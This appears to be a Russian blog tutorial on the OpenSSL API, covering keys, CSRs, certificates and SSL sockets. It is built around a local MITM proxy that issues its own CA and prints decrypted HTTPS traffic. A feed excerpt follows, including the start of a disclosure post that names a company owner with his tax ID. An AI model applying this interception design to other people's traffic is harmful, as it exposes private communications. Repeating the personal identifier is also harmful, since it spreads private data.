К сожалению, очень мало русской документации по вопросу организации SSL-сервера, по тому, как организовать SSL-клиент для получения данных. Официальная документация не настолько полна и хороша, чтобы можно было сразу включиться в работу с библиотекой. Не все функции описаны подробно, приходится экспериментировать с параметрами, с тем, в какой последовательности и что именно нужно очищать, а что библиотека удалит самостоятельно.
Данная статья — компиляция моего опыта по работе с библиотекой OpenSSL при реализации клиент-серверного приложения. Описанные в ней функции будут работать как на десктопе, так и на Android-устройствах. К статье прилагается репозиторий с кодом на C/C++ для того, чтобы вы могли увидеть работу описываемых функций.
При изучении новой библиотеки или технологии я стараюсь решать проблемы с помощью нового функционала. В данном случае попробуем сделать MITM
для перехвата трафика к HTTPS-серверу.
Сформируем требования к программе:
Ожидать подключения по порту (SSL-сервер)
При появлении входящего подключения:
Так как у нас будет SSL-сервер, нам понадобятся сертификат удостоверяющего центра и сертификат для нашего сервера.
Пусть эти данные будут генерироваться нашей программой, а сертификат CA будет выгружаться в файл в рабочей папке программы.
Разработка будет вестись на Ubuntu, прочий инструментарий: компилятор GCC 5.4.0, OpenSSL 1.0.2, curl 7.52.1, CMake 3.8.1 (единственный не из пакетов).
Для отправки запросов к нашему приложению будем использовать curl из консоли. Поскольку нам нужно указать CA-сертификат, команда будет выглядеть так:
curl --cacert ca.crt -v https://127.0.0.1:5566 -H "Host: taigasystem.com"
Указание заголовка Host требуется для того, чтобы curl корректно составил HTTP-запрос. Без этого сервер ответит ошибкой.
Для работы с библиотекой OpenSSL ее нужно инициализировать. Используйте следующий код:
#include bio.h>
#include ssl.h>
#include err.h>
...
void InitOpenSSL()
{
OpenSSL_add_all_algorithms();
ERR_load_BIO_strings();
ERR_load_crypto_strings();
SSL_load_error_strings();
SSL_library_init();
}
Перед завершением приложения следует провести очистку библиотеки, для этого можно использовать следующий код:
void ClearOpenSSL()
{
EVP_cleanup();
CRYPTO_cleanup_all_ex_data();
ERR_remove_thread_state(NULL);
ERR_free_strings();
}
Большинство операций библиотеки OpenSSL требуют наличия контекста. Эта структура, которая хранит используемые алгоритмы, их параметры и прочие данные. Она создается с помощью функции:
SSL_CTX *SSL_CTX_new(const SSL_METHOD *method);
Список методов, которые можно передать в эту функцию, довольно обширен, но документация говорит нам, что нужно использовать SSLv23_server_method()
для сервера и SSLv23_client_method()
для клиента.
При этом библиотека автоматически выберет максимально безопасный протокол, поддерживаемый клиентом и сервером.
Вот пример создания контекста для клиента:
SSL_CTX *ctx = NULL;
ctx = SSL_CTX_new(SSLv23_client_method());
if (ctx == NULL)
{
//Обработка ошибок
}
Для корректного удаления контекста следует использовать функцию SSL_CTX_free
.
Мне не очень нравится использовать SSL_CTX_free
каждый раз, когда контекст необходимо удалить. Можно использовать умные указатели с указанием функции удаления или обернуть структуру в класс RAII:
std::shared_ptr m_ctx(ctx, SSL_CTX_free);
Большинство функций библиотеки OpenSSL возвращают 1 как признак успешного выполнения. Вот обычный код с проверкой на возникновение ошибки:
if (SSL_CTX_load_verify_locations(ctx, fileName, NULL) != 1)
{
//Обработка ошибки
}
Однако иногда этого недостаточно, а иногда необходимо более подробное описание проблемы. Для этого OpenSSL использует в каждом потоке отдельную очередь сообщений. Чтобы извлечь код ошибки из очереди, следует использовать функцию ERR_get_error()
.
Сам по себе код ошибки не очень понятен пользователю, поэтому можно использовать функцию ERR_error_string
для получения строкового представления о коде ошибки. Если функция возвращает 0, это значит, что ошибки нет.
Вот пример получения строки с описанием ошибки по коду ошибки:
#include err.h>
...
//Вызов каких-либо функций библиотеки OpenSSL
std::cerr << ERR_error_string(ERR_get_error(), NULL) << std::endl;
...
Второй параметр функции ERR_error_string
— это указатель на буфер, который должен быть не менее 120 символов длиной. Если его не указать, то будет использоваться статический буфер, который перезаписывается при каждом вызове этой функции.
Стоит отметить, что для каждого отдельного потока создается отдельная очередь сообщений об ошибке.
Теперь чтобы организовать OpenSSL-сервер, нам потребуется создать сертификат удостоверяющего центра и сертификат сервера. Для каждого из них нам нужно создать ключи для подписи.
Для хранения пары закрытый/открытый ключ в OpenSSL используется структура EVP_PKEY
. Данная структура создается следующим образом:
EVP_PKEY *pkey = NULL;
pkey = EVP_PKEY_new();
if (pkey == NULL)
{
//Обработка ошибки
}
Подробнее о EVP можно прочитать здесь.
Обратная для EVP_PKEY_new
функция EVP_PKEY_free
освобождает память и удаляет структуру EVP_PKEY
.
Теперь необходимо подготовить BIGNUM
структуру для генерации RSA (подробнее об этой структуре можно узнать здесь):
BIGNUM *big = NULL;
big = BN_new();
if (big == NULL)
{
//Обработка ошибки
}
else if (BN_set_word(big, RSA_F4) != 1)
{
//Обработка ошибки
BN_free(big);
}
Функция BN_set_word
устанавливает размер для структуры BIGNUM
. Допустимыми являются значения RSA_3
и RSA_F4
, последний — предпочтительнее.
Настал черед для генерации ключей. Для этого нужно создать структуру RSA
:
RSA *rsa = NULL;
rsa = RSA_new();
if (rsa == NULL)
{
//Обработка ошибки
}
Теперь сама генерация ключей:
if (RSA_generate_key_ex(rsa, 4096, big, NULL) != 1)
{
//Обработка ошибки
}
4096 это размер ключа, который мы хотим получить.
Заканчиваем генерацию ключей записью новых ключей в структуру EVP_PKEY
:
if (EVP_PKEY_assign_RSA(pkey, rsa) !=1)
{
//Обработка ошибки
}
PEM — достаточно простой формат для хранения ключей и сертификатов. Он представляет собой текстовый файл, в котором последовательно хранятся записи вида:
-----BEGIN RSA PRIVATE KEY-----
MIIJJwIBAAKCAgEAvNwgYmIyfvY6IsVZwRCkAHTOhwE3Rp/uNcUoTcPl5atOwPVW
JLY3odYmILsa8se7B/aNNzO7AlvXwlzxinQ3AF7l37LqGzf8v16TFVN4kit8vrq0
V9bBXHpiWH+YQT4gBVmSkwqEMZ/wQlUOIxz4Q2M7cXRu4fRe3rt3kGHCPJ66Ybax
yEp6nfdK8IKsyxqAXjBkqfC5rkdw2n7UAd/OnPRCDowyvythDb8jR1LkbJjlIatK
....
yajhmBDpS11hzuWHhDmpjbrV79OMRzKQAWBKRubObtGIsFB2CzbabusV+oq/Y78y
OxriZYqoRv3WB5GH/pPO9w1ptveddLU33NVBSRfFS1jyqyj/1CqXlE4gcQ==
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFkTCCA3mgAwIBAgIJAMPIqA2oVd/SMA0GCSqGSIb3DQEBCwUAMF8xCzAJBgNV
BAYTAlJVMQ8wDQYDVQQIDAZNb3Njb3cxDzANBgNVBAcMBk1vc2NvdzEUMBIGA1UE
...
bt9NHGnCxYcParG+YqU5UTUrCUGUfnZhJAX+qkgsVSC5c81Tk0VXTQx3EiEvdzV+
wUX9LMRLIxjy1D5AO6a29LkzNAvw+iFm36VO+ssdkJW4Q6MAYA==
-----END CERTIFICATE-----
Тут стоит отметить, что количество символов ----- в начале заголовка и в конце, а также в закрывающей строке должно быть одинаковым.
Более подробно этот формат описан тут:
— RFC1421 Part I: Message Encryption and Authentication Procedures
— RFC1422 Part II: Certificate-Based Key Management
— RFC1423 Part III: Algorithms, Modes, and Identifiers
— RFC1424 Part IV: Key Certification and Related Services
Допустим, у нас есть пара открытый/закрытый ключ в структуре EVP_PKEY, тогда для записи их в файл следует использовать функции PEM_write_PrivateKey
и PEM_write_PUBKEY
.
Вот пример использования этих функций:
FILE *f = fopen("server.pem", "wb");
if (!PEM_write_PrivateKey(f, key, NULL, NULL, 0, 0, NULL))
{
//Обработка ошибки
fclose(f);
}
else if (!PEM_write_PUBKEY(f, key))
{
//Обработка ошибки
fclose(f);
}
fclose(f);
Стоит дать некоторые пояснения относительно функции
int PEM_write_PrivateKey(FILE *fp, EVP_PKEY *x, const EVP_CIPHER *enc, unsigned char *kstr, int klen, pem_password_cb *cb, void *u);
, где const EVP_CIPHER *enc
— это указатель на алгоритм шифрования для шифрования закрытого ключа перед его сохранением.
Например, EVP_aes_256_cbc()
значит "AES with a 256-bit key in CBC".
Алгоритмов шифрования очень много, и всегда можно
подобрать что-то по душе. Соответствующие определения можно найти в openssl/evp.h
.
unsigned char *kstr
ожидает получить указатель на строку с паролем для шифрования ключа, а int klen
— длину этой строки.
Если заданы kstr
и klen
, то параметры cb
и u
игнорируются, где:— cb — это указатель на функцию вида:
int cb(char *buf, int size, int rwflag, void *u);
— buf — указатель на буфер для записи пароля
— size — максимальный размер пароля (т.е. размер буфера)
— rwflag равен 0 при чтении и 1 при записи
Результат выполнения функции — длина пароля или 0 в случае возникновения ошибки.
Параметр void *u
для обеих функций используется для передачи дополнительных данных. Например, как указатель на окно для GUI приложения.
Загрузка ключей происходит при помощи функций PEM_read_PrivateKey
и PEM_read_PUBKEY
. Обе функции имеют одинаковые параметры и возвращаемое значение:
EVP_PKEY *PEM_read_PUBKEY(FILE *fp, EVP_PKEY **x, pem_password_cb *cb, void *u);
EVP_PKEY *PEM_read_PrivateKey(FILE *fp, EVP_PKEY **x, pem_password_cb *cb, void *u);
где:
— FILE *fp
— открытый для чтения файловый дескриптор
— EVP_PKEY **x
— структура, которая должна быть перезаписана
— pem_password_cb *cb
— функция для получения пароля расшифровки ключа
— void *u
— строка с паролем ключа, завершающаяся \0
Вот пример функции для получения пароля для расшифровки ключа:
int pass_cb(char *buf, int size, int rwflag, void *u)
{
int len;
char *tmp;
if (rwflag == 1)
std::cout << "Введите пароль для " << (char*)u << ": ";
else
std::cout << "Введите пароль для загрузки ключа: ";
std::string pass;
std::cin >> pass;
if (pass.empty() || pass.length() <=0)
return 0;
len = pass.length();
if (len > size)
len = size;
memcpy(buf, pass.c_str(), len);
return len;
}
Вот пример того, как можно загрузить не зашифрованный закрытый ключ из файла:
FILE *f = NULL;
f = fopen(fileName.c_str(), "rb");
if (f == NULL)
{
//Обработка ошибки
}
EVP_PKEY *key = NULL;
key = PEM_read_PrivateKey(f, NULL, NULL, NULL);
if (key == NULL)
{
//Обработка ошибки
}
fclose(f);
Иногда бывает удобно хранить ключ или сертификат как константу в программе. Для таких случаев можно использовать структуру типа BIO. Эта структура и связанные с ней функции повторяют функционал ввода-вывода для FILE
.
Вот так можно загрузить ключ из памяти:
const char *key = "-----BEGIN RSA PRIVATE KEY-----\n"
"MIIJKAIBAAKCAgEA40vjOGzVpuJv+wIfNBQSr9U/EeRyvSy/L6Idwh799LOPIwjF\n"
.....
"zkxvkGMPBY3BcSPjipuydWTt8xE8MOe0SmEcytHZ/DifwF9qyToDlTFOUN8=\n"
"-----END RSA PRIVATE KEY-----";
BIO *buf = NULL;
buf = BIO_new_mem_buf(key, -1);
if (buf == NULL)
{
//Обработка ошибки
}
EVP_PKEY *pkey = NULL;
pkey = PEM_read_bio_PrivateKey(buf, NULL, NULL, NULL);
if (pkey == NULL)
{
//Обработка ошибки
}
Теперь, когда мы умеем создавать ключи, посмотрим, как создавать сертификаты. Сертификаты могут быть самоподписанными или иметь подпись удостоверяющего центра. Для получения сертификата, подписанного удостоверяющим центром, требуется создать запрос сертификата (CSR) и отправить его удостоверяющему центру. В ответ он пришлет подписанный сертификат.
В том случае, когда мы хотим создать самоподписанный сертификат или сертификат для собственного удостоверяющего центра, CSR создавать не нужно, можно сразу переходить к разделу Сертификаты.
Certificate Signing Request (CSR) — это сообщение или запрос, который создатель сертификата посылает удостоверяющему центру (CA) и который содержит в себе информацию о публичном ключе, стране выпуска, а также цифровую подпись создателя.
Для создания CSR нам понадобится ключ EVP_PKEY
, созданный ранее. Все начинается с выделения памяти под структуру CSR:
X509_REQ *req = NULL;
req = X509_REQ_new();
if (req == NULL)
{
//Обработка ошибки
}
Обратной функцией к X509_REQ_new
является X509_REQ_free
.
Теперь нужно задать версию сертификата. В данном случае версия равна 2:
if (X509_REQ_set_version(req, 2) != 1)
{
//Обработка ошибки
X509_REQ_free(req);
}
По стандарту X.509 эта версия должна быть на единицу меньше версии сертификата. Т.е. для версии сертификата 3 следует использовать число 2.
Теперь будем задавать данные создателя запроса. Будем использовать следующие поля:
—С — двухбуквенный код страны, например RU
— ST — область, в нашем случае Moscow
— L — город, снова Moscow
— O — организация, например Taigasystem
— CN — доменное имя, для нас будет taigasystem.com
Вот так эти поля задаются в запрос:
X509_NAME *name = X509_REQ_get_subject_name(req);
if (X509_NAME_add_entry_by_txt(name, "C", MBSTRING_ASC, (const unsigned char *)"RU", -1, -1, 0) != 1)
{
//Обработка ошибки
X509_REQ_free(req);
}
if (X509_NAME_add_entry_by_txt(name, "ST", MBSTRING_ASC, (const unsigned char *)"Moscow", -1, -1, 0) != 1)
{
//Обработка ошибки
}
if (X509_NAME_add_entry_by_txt(name, "L", MBSTRING_ASC, (const unsigned char *)"Moscow", -1, -1, 0) != 1)
{
//Обработка ошибки
}
if (X509_NAME_add_entry_by_txt(name, "O", MBSTRING_ASC, (const unsigned char *)"Taigasystem", -1, -1, 0) != 1)
{
//Обработка ошибки
}
if (X509_NAME_add_entry_by_txt(name, "CN", MBSTRING_ASC, (const unsigned char *)"taigasystem.com", -1, -1, 0) != 1)
{
//Обработка ошибки
}
Заметим, что сначала мы получаем структуру X509_NAME
из структуры CSR запроса и задаем значения для нее.
Теперь нужно задать публичный ключ для этого запроса:
if (X509_REQ_set_pubkey(req, key) != 1)
{
//Обработка ошибки
}
Последний штрих — подпись запроса:
if (X509_REQ_sign(req, key, EVP_sha256()) <= 0)
{
//Обработка ошибки
}
В отличие от других функций OpenSSL, X509_REQ_sign
возвращает
размер подписи в байтах, а не 1, при успешном завершении, и 0 — в случае ошибки.
Теперь запрос сертификата готов.
Сохранить CSR в файл довольно просто. Необходимо открыть файл, а затем — вызвать функцию PEM_write_X509_REQ
:
FILE *f = NULL;
f = fopen("server.csr", "wb");
if (PEM_write_X509_REQ(f, csr) != 1)
{
//Обработка ошибки
fclose(f);
}
fclose(f);
В результате мы получим такой текст в файле server.csr:
-----BEGIN CERTIFICATE REQUEST-----
MIICnzCCAYcCAQEwWjELMAkGA1UEBhMCUlUxDzANBgNVBAgMBlJ1c3NpYTEPMA0G
...
fbzFJ6EM00mbyr472lEXZpvdZgBCfxpkNDyp9nsiIQf0EyC05MgufOAKDT/fGQfa
4gWK
-----END CERTIFICATE REQUEST-----
Для загрузки CSR следует использовать функции:
X509_REQ *PEM_read_X509_REQ(FILE *fp, X509_REQ **x, pem_password_cb *cb, void *u);
X509_REQ *PEM_read_bio_X509_REQ(BIO *bp, X509_REQ **x, pem_password_cb *cb, void *u);
Первая загружает CSR из файла, вторая позволяет загрузить CSR из памяти.
Параметры данных функция аналогичны загрузке ключей из PEM-файла, за
исключением pem_password_cb
и u
, которые игнорируются.
X.509 — это одна из вариаций языка ASN.1, стандартизованная в rfc2459.
Более подробно о формате X.509 можно прочитать здесь и здесь.
Можно сгенерировать сертификат без использования CSR. Это пригодится для создания CA.
Для генерации сертификата без CSR нам понадобится пара открытый/закрытый ключ в структуре EVP_PKEY
. Начинаем с выделения памяти под структуру сертификата:
X509 *x509 = X509_new();
if (!x509)
//Обработка ошибки
Обратной для X509_new
является X509_free
.
Сертификат создается точно так же, как и CSR-запрос, с одной лишь разницей — помимо версии и данных издателя, требуется задать серийный номер сертификата.
Также нужно использовать другие функции для доступа к данным сертификата:
— X509_set_version
вместо X509_REQ_set_version
— X509_get_subject_name
вместо X509_REQ_get_subject_name
— X509_set_pubkey
вместо X509_REQ_set_pubkey
— X509_sign
вместо X509_REQ_sign
Таким образом отличить по именам, для каких объектов предназначены те или иные функции, становится довольно просто.
Теперь можно установить серийный номер сертификата:
ASN1_INTEGER *aserial = NULL;
aserial = M_ASN1_INTEGER_new();
ASN1_INTEGER_set(aserial, 1);
if (X509_set_serialNumber(x509, aserial) != 1)
{
//Обработка ошибки
}
Для каждого нового сертификата необходимо создавать новый серийный номер.
Теперь пришло время установить время жизни сертификата. Для этого устанавливается два параметра — начало и конец жизни сертификата:
if (!(X509_gmtime_adj(X509_get_notBefore(cert), 0)))
{
//Обработка ошибки
X509_free(cert);
}
// 31536000 * 3 = 3 year valid period
if (!(X509_gmtime_adj(X509_get_notAfter(cert), 31536000 * 3)))
{
//Обработка ошибки
X509_free(cert);
}
Началом жизни сертификата будет момент его выпуска — значение 0 для функции X509_get_notBefore
. Конец жизни сертификата задается функцией X509_get_notAfter
.
Последний штрих — подпись сертификата при помощи закрытого ключа:
EVP_PKEY *key; // Not null
if (X509_sign(cert, key, EVP_sha256()) <=0)
{
long e = ERR_get_error();
if (e != 0)
{
//Обработка ошибки
X509_free(cert);
}
}
Здесь есть интересная особенность: функция X509_sign
возвращает размер подписи в байтах, если все прошло успешно, и 0 — в случае ошибки. Иногда функция возвращает ноль, даже если ошибки нет. Поэтому здесь приходится вводить дополнительную проверку на ошибку.
Для генерации сертификата по CSR нам нужен закрытый ключ CA для подписи сертификата, сертификат CA для задания данных издателя и сам CSR-запрос.
Создание самого сертификата и установка версии и номера такие же, как и для сертификата без CSR. Разница появляется, когда нужно извлечь данные издателя из CSR-запроса и установить их в сертификат:
X509_REQ *csr; //not null
X509_NAME *name = NULL;
name = X509_REQ_get_subject_name(csr);
if (name == NULL)
{
//Обработка ошибки
X509_free(cert);
}
if (X509_set_subject_name(cert, name) != 1)
{
//Обработка ошибки
X509_free(cert);
}
После этого нужно уставить данные издателя сертификата. Для этого требуется сертификат CA:
X509 *CAcert; //not null
name = X509_get_subject_name(CAcert);
if (name == NULL)
{
//Обработка ошибки
X509_free(cert);
}
if (X509_set_issuer_name(cert, name) != 1)
{
//Обработка ошибки
X509_free(cert);
}
Видно, что данные из CSR мы устанавливаем при помощи X509_set_subject_name
, а данные CA — при помощи X509_set_issuer_name
.
Следующий шаг — необходимо получить открытый ключ из CSR и установить его в новый сертификат.
Помимо установки ключа можно сразу проверить, был ли подписан CSR данным ключом:
// Get pub key from CSR
EVP_PKEY *csr_key = NULL;
csr_key = X509_REQ_get_pubkey(csr);
if (csr_key == NULL)
{
//Обработка ошибки
}
// Verify CSR
if (X509_REQ_verify(csr, csr_key) !=1)
{
//Обработка ошибки
X509_free(cert);
}
// Set pub key to new cert
if (X509_set_pubkey(cert, csr_key) != 1)
{
//Обработка ошибки
X509_free(cert);
}
Теперь можно установить серийный номер сертификата:
ASN1_INTEGER *aserial = NULL;
aserial = M_ASN1_INTEGER_new();
ASN1_INTEGER_set(aserial, 1);
if (X509_set_serialNumber(cert, aserial) != 1)
{
//Обработка ошибки
}
Последний штрих — следует подписать сертификат при помощи закрытого ключа CA:
EVP_PKEY *CAkey; // Not null
if (X509_sign(cert, CAkey, EVP_sha256()) <=0)
{
long e = ERR_get_error();
if (e != 0)
{
//Обработка ошибки
X509_free(cert);
}
}
После подписи наш новый сертификат готов.
Сохранение происходит довольно просто:
X509 *cert;
...
FILE *f = NULL;
f = fopen("server.crt", "wb");
if (!PEM_write_X509(f, cert))
{
//Обработка ошибки
fclose(f);
}
fclose(f);
Загрузка происходит при помощи двух функций:
X509 *PEM_read_X509(FILE *fp, X509 **x, pem_password_cb *cb, void *u);
X509 *PEM_read_bio_X509(BIO *bp, X509 **x, pem_password_cb *cb, void *u);
Параметры описаны выше.
Подключение к хосту при помощи SSL-сокетов не очень отличается от обычного TCP-подключения.
Сначала нужно создать TCP-подключение к серверу:
//Попробуем получить IP для хоста
struct hostent *ip = nullptr;
ip = gethostbyname(host.c_str());
if (ip == nullptr)
{
//Обработка ошибки
}
//Создаем сокет
int sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock == -1)
{
//Обработка ошибки
}
struct sockaddr_in dest_addr;
memset(&dest_addr, 0, sizeof(struct sockaddr_in));
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(port);
dest_addr.sin_addr.s_addr = *(long *)(ip->h_addr);
//Подключаемся:
if (connect(sock, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr)) == -1)
{
//Подключиться не удалось
}
Теперь нужно создать клиентский SSL-контекст:
const SSL_METHOD *method = SSLv23_client_method();
SSL_CTX *ctx = NULL;
ctx = SSL_CTX_new(method);
if (ctx == NULL)
//Обработка ошибки
Теперь нужно установить полученный сокет в SSL-структуру. Она получается из контекста:
SSL *ssl = SSL_new(ctx);
if (ssl == NULL)
{
//Обработка ошибки
}
if (SSL_set_fd(ssl, sock) != 1)
{
//Обработка ошибки
}
Последний штрих — само подключение:
if (SSL_connect(ssl) != 1)
{
//Обработка ошибки
}
Для чтения данных из SSL-сокета нужно использовать функцию:
int SSL_read(SSL *ssl, void *buf, int num);
Она читает в буфер данные из сокета, привязанного к SSL-структуре. Если нужно узнать, есть ли в буфере сокета данные, которые нужно прочитать, можно использовать функцию
int SSL_pending(const SSL *ssl);
Т.е. для чтения можно использовать такую конструкцию:
const int size = SSL_pending(ssl);
char *buf = new char[size];
memset(buf, 0, size);
if (SSL_read(ssl, buf, size) <= 0)
{
//Обработка ошибки
}
В результате в буфере будут находиться уже декодированные данные.
Для записи используется функция:
int SSL_write(SSL *ssl, const void *buf, int num);
На входе она получает указатель на SSL-структуру, которая будет осуществлять запись, сами данные и их размер.
Вот пример такой записи:
char buf[] = "12345678"
if (SSL_write(ssl, buf, strlen(buf)) <= 0)
{
//Обработка ошибки
}
Серверная часть схожа с клиентской — в ней также требуется получить SSL-контекст, и в ней — те же функции чтения записи. Отличие состоит в том, что сервер должен подготовить контекст, чтобы отдать клиенту сертификат, а также организовать рукопожатие с клиентом.
Начнем с подготовки контекста:
const SSL_METHOD *method = SSLv23_server_method();
SSL_CTX *ctx = NULL;
ctx = SSL_CTX_new(method);
if (ctx == NULL)
{
//Обработка ошибки
}
Документация говорит нам, о том, что выбор SSLv23_server_method
позволит библиотеке самостоятельно определить максимально безопасную версию протокола из поддерживаемых клиентом.
Если нужно включить или выключить определенную версию или изменить другие настройки, можно воспользоваться функцией SSL_set_options
. Документацию для нее можно найти здесь.
Загрузку X.509 сертификата и загрузку ключей мы рассмотрели чуть раньше, поэтому считаем, что у нас уже есть пара этих структур.
Установим для серверного контекста сертификат и ключ сертификата:
X509 *serverCert; //not null
EVP_PKEY *serverKey; //not null
if (SSL_CTX_use_certificate(ctx, serverCert) != 1)
{
//Обработка ошибки
}
if (SSL_CTX_use_PrivateKey(ctx, serverKey) != 1)
{
//Обработка ошибки
}
Наш сервер готов принимать входящие соединения. Пусть этим занимается обычный accept
. Нас будет интересовать полученный от этой функции сокет.
Начинаем с того, что для каждого такого сокета, нам нужна новая SSL-структура:
SSL *ssl = NULL;
ssl = SSL_new(ctx);
if (ssl == NULL)
{
//Обработка ошибки
}
Теперь устанавливаем в эту структуру наш сокет:
int sock; //accepted tcp socket
if (SSL_set_fd(ssl, sock) != 1)
{
//Hadle error
}
Сам механизм рукопожатия:
if (SSL_accept(ssl) != 1)
{
//Обработка ошибки
}
Стоит отметить следующий момент: если используемый нами сокет находится в неблокирующем режиме, то рукопожатие с первого раза не пройдет. В этом случае нужно проверять не только возвращаемое значение, но и код ошибки:
int ret = SSL_accept(ssl);
if (ret == 0)
{
//Обработка ошибки
}
if (ret < 0)
{
unsigned long error = ERR_get_error();
if (error == SSL_ERROR_WANT_READ ||
error == SSL_ERROR_WANT_WRITE ||
error == 0)
{
//Не ошибка, нужно дождаться получения следующего сообщения
//в протоколе рукопожатия
}
else
{
//Обработка ошибки
}
}
if (ret == 1)
{
//Подключено
}
После установки соединения мы можем использовать описанные ранее функции ввода-вывода для чтения и записи данных в сокет.
Для сборки примера к статье нужно использовать команды:
mkdir build
cd build
cmake ..
make
В папке сборки (build) следует выполнить:
./openssl_api
При этом в этой же папке появится файл ca.crt — созданный программой
сертификат.
Чтобы проверить его работоспособность, нужно выполнить
cppurl --cacert ca.crt -v https://127.0.0.1:5566 -H "Host: taigasystem.com"
Первым параметром мы задаем используемый CA Сертификат, -v показывает нам все переданные и принятые сообщения. -H "Host: taigasystem.com" нужен, чтобы заметить в GET-запросе заголовок Host. Без этого параметра программа отработает, но в ответ на запрос мы получим 404-ю ошибку.
Вот вывод запроса curl при запросе через нашу программу (не полный):
$ curl --cacert ca.crt -v https://127.0.0.1:5566 -H "Host: taigasystem.com"
* Rebuilt URL to: https://127.0.0.1:5566/
* Trying 127.0.0.1...
* Connected to 127.0.0.1 (127.0.0.1) port 5566 (#0)
* found 1 certificates in ca.crt
* found 700 certificates in /etc/ssl/certs
* ALPN, offering http/1.1
* SSL connection using TLS1.2 / RSA_AES_128_GCM_SHA256
* server certificate verification OK
* server certificate status verification SKIPPED
* common name: 127.0.0.1 (matched)
* server certificate expiration date OK
* server certificate activation date OK
* certificate public key: RSA
* certificate version: #3
* subject: C=RU,CN=127.0.0.1,L=Moscow,O=Taigasystem,ST=Moscow
* start date: Mon, 28 Aug 2017 07:36:42 GMT
* expire date: Thu, 27 Aug 2020 07:36:42 GMT
* issuer: C=RU,CN=127.0.0.1,L=Moscow,O=Taigasystem,ST=Moscow
* compression: NULL
* ALPN, server did not agree to a protocol
> GET / HTTP/1.1
> Host: taigasystem.com
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.4.6 (Ubuntu)
< Date: Mon, 28 Aug 2017 07:39:18 GMT
< Content-Type: text/html; charset=utf-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Vary: Accept-Language, Cookie
< X-Frame-Options: SAMEORIGIN
< Content-Language: ru
< Strict-Transport-Security: max-age=604800
<
....
Видим следующее: во-первых, наш сертификат прочитан и принят; во-вторых, сервер ответил на запрос и передает ответ.
После запуска программы и подключения к ней curl видим такой (неполный) вывод:
$ ./openssl_api
Библиотека OpenSSL инициализирована
Для проверки воспользуйтесь командой 'curl --cacert ca.crt -v https://127.0.0.1:5566 -H "Host: taigasystem.com" '
Структура хранения ключей создана
Создана структура BIGNUM
Изменен размер структуры BIGNUM
Создана RSA структура
Ключи сгенерированы
Ключи убраны в EVP
Сертификат создан. Длина подписи: 512
Структура хранения ключей создана
Создана структура BIGNUM
Изменен размер структуры BIGNUM
Создана RSA структура
Ключи сгенерированы
Ключи убраны в EVP
CSR создан. Длина подписи: 512
Сертификат создан. Длина подписи: 512
Структура для хранения ключей удалена
Сертификат успешно записан в ca.crt
SSL контекст создан
Сокет ожидает подключения на 5566 порту
Новое входящие соединение
Подключаемся к taigasystem.com на порту 443
Подключен к хосту taigasystem.com[188.225.73.237]:443
SSL контекст создан
SSL соединение с taigasystem.com:443 установлено
Цикл чтения/записи данных
#######################################
Прочитано 79 байт от клиента
#######################################
GET / HTTP/1.1
Host: taigasystem.com
User-Agent: curl/7.47.0
Accept: */*
#######################################
Прочитано 4096 байт от сервера
#######################################
HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Mon, 28 Aug 2017 07:39:18 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Language, Cookie
X-Frame-Options: SAMEORIGIN
Content-Language: ru
Strict-Transport-Security: max-age=604800
...
Т.е. очевидно, что мы получили GET-запрос от клиента (curl) и ответ на него от сервера.
Огромная благодарность за исследования tomasloh
Метки: author Last_angel разработка под android c++ блог компании infowatch c/c++ android openssl mitm |
Программы-шантажисты: угроза прошлого или будущего? |
Метки: author anna_er информационная безопасность блог компании microsoft windows defender |
Как мы банкоматы от подрыва спасали |
Метки: author oWart платежные системы информационная безопасность анализ и проектирование систем банкомат деньги приборостроение охрана извещатель ограбления |
[Из песочницы] Сага о Гольфстриме и гопниках |
Данная публикация носит исключительно информационный характер и призвана обратить внимание руководства крупного российского оператора систем охранной сигнализации "ГОЛЬФСТРИМ Охранные Системы" (далее — ГОЛЬФСТРИМ) на наличие уязвимости информационной системы, ставящей под удар защиту и безопасность граждан, а также федеральных органов исполнительной власти, доверивших защиту своего имущества данной компании.
ВНИМАНИЕ: Рекомендуем читать текст под музыку группы Каста-Скрепы, очень помогает глубже понять всю безнадежность ситуации, описанной ниже...
В нелёгкое время "цифровой экономики" и властных попыток зарегулировать Интернет, хотелось бы внести свою скромную лепту в совершенствование этого Мира и осветить отношение к ИБ со стороны одной частной компании. В нашей публикации мы покажем, как компания ГОЛЬФСТРИМ продемонстрировала свое наплевательское отношение к данному вопросу подставив тем самым не только рядовых пользователей-граждан, но также и органы исполнительной власти.
Некоторое время назад в распоряжении компании "Expocod" оказалась информация о наличии серьёзной уязвимости в информационной системе компании "ГОЛЬФСТРИМ". По имеющимся у нас достоверным данным, уязвимость позволяет получить доступ к персональным данным пользователей системы охранной сигнализации, а также осуществить удалённое управление состоянием сигнализации огромного количества объектов.
С момента получения данной информации нами предпринимались неоднократные попытки связаться с руководством компании "ГОЛЬФСТРИМ", однако до настоящего времени ни одна из таких попыток не увенчалась успехом (4 электронных письма, 3 телефонных звонка, сообщения в Telegram, визит в офис и очное общение с представителями компании). Учитывая то, что компания Expocod ставит своей задачей повышение общего уровня информационной безопасности в России, а также факты игнорирования представителями компании "ГОЛЬФСТРИМ" наших многочисленных сигналов, было принято решение о публикации имеющейся в нашем распоряжении информации в СМИ с раскрытием общих технических подробностей.
Исходя из информации, представленной на официальном сайте компании, группа компаний ГОЛЬФСТРИМ работает на рынке охраны без малого 23 года. Реклама с официального сайта гласит, что 23 года работы ГОЛЬФСТРИМ это (цитируем): «решения проверенные временем, 75 тысяч клиентов, качество на каждом этапе, квалификация персонала...».
Беглый поиск по базе сведений о государственной регистрации юридических лиц даёт следующее:
Итак, открытые источники подсказывают, что владельцем (и предстедателем совета директоров) компании "ГОЛЬФСТРИМ" является некто Письман Вениамин Фоневич (ИНН 771805121540):
Пользуясь возможностью, передаём пламенный привет Вениамину Фоневичу и просим обратить внимание на действия или бездействия сотрудников его компании которые, будучи информированными задолго до выхода в свет данного материала не предприняли решительно никаких попыток отреагировать.
